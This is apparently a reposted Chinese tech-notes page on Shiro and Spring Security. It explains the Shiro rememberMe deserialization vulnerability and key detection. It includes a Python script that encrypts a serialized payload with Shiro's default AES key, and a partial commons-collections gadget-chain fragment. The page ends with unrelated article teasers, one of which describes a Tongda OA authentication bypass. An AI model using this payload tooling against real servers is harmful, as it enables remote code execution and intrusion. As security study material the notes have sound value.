开发知识点-JAVA-springboot+Spring Security/Shiro

在这里插入图片描述

Spring Security/Shiro

  • shiro
    • Shiro反序列化相关
      • URLDNS链
      • Shiro CC链
      • Shiro CB链
    • Shiro反序列化WAF绕过
  • Java快速开发框架_若依——前后端分离版- 3. 登陆 springsecurity认证 Debug - postman模拟
  • SpringBoot+SpringSecurity+dubbo图书电商后台实战-对象映射-基本属性映射
  • SpringBoot+SpringSecurity+dubbo图书电商后台实战-Spring Data JPA简介
  • SpringBoot+SpringSecurity+dubbo图书电商后台实战-课程介绍,架构说明,案例说明,前置知识
  • 参考文档
    • Shiro反序列化相关

Shiro 和 Spring 平台是两个不同的项目,它们可以在一起使用来提供安全认证和授权功能。

Shiro 是一个用于身份验证、授权、加密等安全功能的开源框架。它提供了一个简单且易于使用的 API,可以轻松地集成到 Java 应用程序中。Shiro 提供了一套灵活的安全管理功能,可以处理用户身份验证、访问控制、会话管理等任务。

Spring 平台是一个用于构建企业级应用程序的综合框架。它提供了大量的功能和组件,包括依赖注入、AOP、事务管理、Web 开发等。Spring 还提供了一个名为 Spring Security 的子项目,用于处理应用程序的安全需求。Spring Security 可以与 Shiro 集成,以提供更强大的安全功能。

因此,可以说 Shiro 是一个独立的安全框架,而 Spring 平台可以与 Shiro 一起使用来增强应用程序的安全性。通过将两者结合使用,开发人员可以更容易地实现身份验证、授权和其他安全功能。

shiro

Shiro反序列化相关

原理· 获取Cookie中rememberMe的值    
· 对rememberMe进行Base64解码    
· 使用AES进行解密    
· 对解密的值进行反序列化      这样的话攻击者就可以通过构造一个恶意的payload序列化之后 
然后进行Base64加密以及AES加密发送给Shiro服务端,服务端会进行Base64解密以及AES解码之后进行反序列化。Shiro Key检测
当使用错误key进行AES加密和Base64编码之后发送给服务端在响应包中会有 rememberMe字段 但是如果使用正确的key进行AES加密和Base64编码的话是不会显示响应包中的。这里的原理其实就是如果你的key如果正确的话,那么其实也会抛出异常,因为类型转换错误,所以也会设置rememberMe=delete。这是因为你的类型不是PrincipalCollection类型,所以我们只需要构造一个继承于它的类即可,然后进行序列化发送到shiro端来判断key是否正确,如果正确的话是不会设置rememberMe字段的,
如果不正确的话会抛出异常,异常中就会设置rememberMe=delete字段。
SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();serialie(simplePrincipalCollection);

URLDNS链

首先进行序列化之后 进行AES加密 然后Base64进行编码


import uuidimport base64import sysfrom random import Randomfrom Crypto.Cipher import AES def get_file_data(filename):    with open(filename, 'rb') as f:        data = f.read()    return data def aes_enc(data):    BS = AES.block_size    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()    key = "kPH+bIxk5D2deZiIxcaaaA=="    mode = AES.MODE_CBC    iv = uuid.uuid4().bytes    encryptor = AES.new(base64.b64decode(key), mode, iv)    ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))    return ciphertext def aes_dec(enc_data):    enc_data = base64.b64decode(enc_data)    unpad = lambda s : s[:-s[-1]]    key = "kPH+bIxk5D2deZiIxcaaaA=="    mode = AES.MODE_CBC    iv = enc_data[:16]    encryptor = AES.new(base64.b64decode(key), mode, iv)    plaintext = encryptor.decrypt(enc_data[16:])    plaintext = unpad(plaintext)    return plaintext if __name__ == '__main__':    data = get_file_data("ser.bin")    print(aes_enc(data))

需要注意的是 需要将JSESSIONID干掉之后再去加rememberMe即可

Shiro CC链

是Shiro打CC链的话,你的POC中不能出现Transformer数组,

因为shiro使用的不是原生的类加载器去加载的,所以需要通过CC2 + CC3 + CC6组合链进行打。

TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> clazz = templates.getClass();Field name = clazz.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"12312");Field bytecodes = clazz.getDeclaredField("_bytecodes");bytecodes.setAccessible(true);byte[] code = Base64.getDecoder().decode("xxxx");bytecodes.set(templates,new byte[][]{code});
InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);HashMap map = new HashMap();

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/687900.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

一连三部电影撤出春节档,给行业带来什么启示?

继《我们一起摇太阳》后&#xff0c;《红毯先生》于2月16日晚也宣布退出今年春节档。 至此&#xff0c;加上动画电影《黄貔&#xff1a;天降财神猫》&#xff0c;2024年春节档已有三部影片撤档&#xff0c;在春节档历届过往中实属少见。 其中&#xff0c;《红毯先生》、《我们…

【数据仓库】主题域和数据域

数据域与主题域区别 https://www.cnblogs.com/datadance/p/16898254.html 数据域是自下而上&#xff0c;以业务数据视角来划分数据&#xff0c;一般进行完业务系统数据调研之后就可以进行数据域的划分。针对公共明细层&#xff08;DWD&#xff09;进行主题划分。主题域则自上而…

《苍穹外卖》知识梳理6-缓存商品,购物车功能

苍穹外卖实操笔记六—缓存商品&#xff0c;购物车功能 一.缓存菜品 可以使用redis进行缓存&#xff1b;另外&#xff0c;在实现缓存套餐时可以使用spring cache提高开发效率&#xff1b;   通过缓存数据&#xff0c;降低访问数据库的次数&#xff1b; 使用的缓存逻辑&#…

ChatGPT的大致原理

国外有个博主写了一篇博文&#xff0c;名字叫TChatGPT: Explained to KidsQ」&#xff0c; 直译过来就是&#xff0c;给小孩子解释什么是ChatGPT。 因为现实是很多的小孩子已经可以用父母的手机版ChatGPT玩了 &#xff0c;ChatGPT几乎可以算得上无所不知&#xff0c;起码给小孩…

CDH 6.3.2集成Hudi异常org.codehaus.jackson不存在及开源JDK版本异常

CDH 6.3.2集成Hudi异常&#xff0c;首先获取hudi源码&#xff0c;地址&#xff1a;git clone https://github.com/apache/hudi.git&#xff0c;进入根目录hudi编译相关jar时&#xff0c;存在2个问题jar包依赖为导入和开源JDK版本问题。异常分别如下所示。 1.编译命令 到hudi根…

【漏洞复现-通达OA】通达OA share身份认证绕过漏洞

一、漏洞简介 通达OA(Office Anywhere网络智能办公系统)是中国通达公司的一套协同办公自动化软件。通达OA /share/handle.php存在一个认证绕过漏洞,利用该漏洞可以实现任意用户登录。攻击者可以通过构造恶意攻击代码,成功登录系统管理员账户,继而在系统后台上传恶意文件控…

哪种台灯的灯光适合学生用?明基/书客/松下等护眼台灯推荐

目前近视人群越来越多&#xff0c;并且有低龄化的倾向。针对护眼这一卖点&#xff0c;市面上出现了很多护眼台灯品牌&#xff0c;但是很多不知名的网红品牌生产出来的产品质量没有办法得到保障。在挑选护眼台灯时&#xff0c;还是要先做好攻略才不会踩雷。 一、使用护眼台灯更…

Stable Diffusion webui安装详细教程

上一篇文章介绍了sd主流的ui&#xff0c;相信大家已经有所了解&#xff0c;下面为大家介绍sd-webui的安装详细教程 文章目录 一、 安装包说明二、对电脑的要求三、安装文件介绍四、安装步骤五、电脑问题与云主机六、界面简要说明及通用反向提示词 一、 安装包说明 通常我们使…

14. Qt 程序菜单实现,基于QMainWindow

目录 前言&#xff1a; 技能&#xff1a; 内容&#xff1a; 一、ui中直接添加控件实现 二、 完全通过代码实现菜单 参考&#xff1a; 前言&#xff1a; 基于QMainWindow&#xff0c;两种方式实现菜单&#xff1a;通过直接添加ui控件快速添加菜单和完全通过代码实现菜单&a…

护眼落地灯值得买吗?书客、霍尼韦尔、柏曼三款落地灯大PK!

落地灯对于上班族、学生党来说真的很友好&#xff0c;能够提供贴合眼睛用光舒适的光度&#xff0c;使这些日常长时间用眼的人能够减少不良光线对眼睛造成的影响&#xff0c;从而科学健康的用眼&#xff01; 市面上的落地灯产品越来越多&#xff0c;琳琅满目的产品让不少刚接触落…

⭐北邮复试刷题429. N 叉树的层序遍历(按层入队出队BFS)(力扣每日一题)

429. N 叉树的层序遍历 给定一个 N 叉树&#xff0c;返回其节点值的层序遍历。&#xff08;即从左到右&#xff0c;逐层遍历&#xff09;。 树的序列化输入是用层序遍历&#xff0c;每组子节点都由 null 值分隔&#xff08;参见示例&#xff09;。 示例 1&#xff1a;输入&a…

自定义类型详解 ----结构体,位段,枚举,联合

目录 结构体 1.不完全声明 2.结构体的自引用 3.定义与初始化 4.结构体内存对齐与结构体类型的大小 结构体嵌套问题 位段 1.什么是位段&#xff1f; 2.位段的内存分配 枚举 1.枚举类型的定义 2.枚举的优点 联合&#xff08;共同体&#xff09; 1.联合体类型的声明以…

多模态(三)--- BLIP原理与源码解读

1 BLIP简介 BLIP: Bootstrapping Language-Image Pre-training for Unified Vision-Language Understanding and Generation 传统的Vision-Language Pre-training &#xff08;VLP&#xff09;任务大多是基于理解的任务或基于生成的任务&#xff0c;同时预训练数据多是从web获…

D3842——三极管驱动,专为脱线和Dc-Dc开关电源应用设计的,起动电流小

D3842/43/44是专为脱线和Dc-Dc开关电源应用设计的恒频电流型Pwd控制器内部包含温度补偿精密基准、供精密占空比调节用的可调振荡器、高增益混放大器、电流传感比较器和适合作功率MOST驱动用的大电流推挽输出颇以及单周期徊滞式限流欠压锁定、死区可调、单脉冲计数拴锁等保护电路…

Transformer面试十问

1 Scaled Dot-Product Attention中为什么要除以 d k \sqrt{d_k} dk​ ​? 1. 从纯数学上考虑&#xff1a;对于输入均值为0,方差为1的分布&#xff0c;点乘后结果其方差为dk&#xff0c;所以需要缩放一下。下图为原论文注释。 2. 从神经网络上考虑&#xff1a;防止在计算点积…

安装配置NMon

NMon&#xff08;Nigel’s Monitor&#xff09;是一款由IBM公司提供的免费性能监控工具&#xff0c;专门用于监控AIX系统和Linux系统的资源使用情况 下载软件 wget http://sourceforge.net/projects/nmon/files/nmon16p_binaries.tar.gz 如果报错的话&#xff0c;安装提示添加…

vue的生命周期图解

vue的生命周期图解 添加链接描述 vue的生命周期函数及过程的简述&#xff1a; vue的生命周期函数&#xff0c;其实就是vm的生命周期&#xff1b; 创建&#xff1a;beforeCreate、created 挂载&#xff1a;beforeMount、mounted 更新&#xff1a;beforeUpdate、updated [ˌʌpˈ…

【Java EE初阶十七】网络原理(二)

2. 传输层 2.2 TCP协议 2.2.2 关于可靠传输 4.滑动窗口 前面的三个机制&#xff0c;都是在保证 tcp 的可靠性&#xff1b; TCP 的可靠传输,是会影响传输的效率的.(多出了一些等待 ack 的时间,单位时间内能传输的数据就少了)&#xff1b; 滑动窗口,就让可靠传输对性能的影响,更…

什么是FTC能效标签? FTC能效标签办理流程是怎么样?

亚马逊美国站能源标签FTC 什么是FTC及历史背景 Federal TradeCommission(FTC)是美国联邦贸易委员会&#xff0c;是执行多种反托拉斯和保护消费者法律的联邦机构。其目的是确保国家市场行为具有竞争性&#xff0c;且繁荣、 高效地发展&#xff0c;不受不合理的约束。美国联邦贸易…

前端工程化面试题 | 10.精选前端工程化高频面试题

&#x1f90d; 前端开发工程师、技术日更博主、已过CET6 &#x1f368; 阿珊和她的猫_CSDN博客专家、23年度博客之星前端领域TOP1 &#x1f560; 牛客高级专题作者、打造专栏《前端面试必备》 、《2024面试高频手撕题》 &#x1f35a; 蓝桥云课签约作者、上架课程《Vue.js 和 E…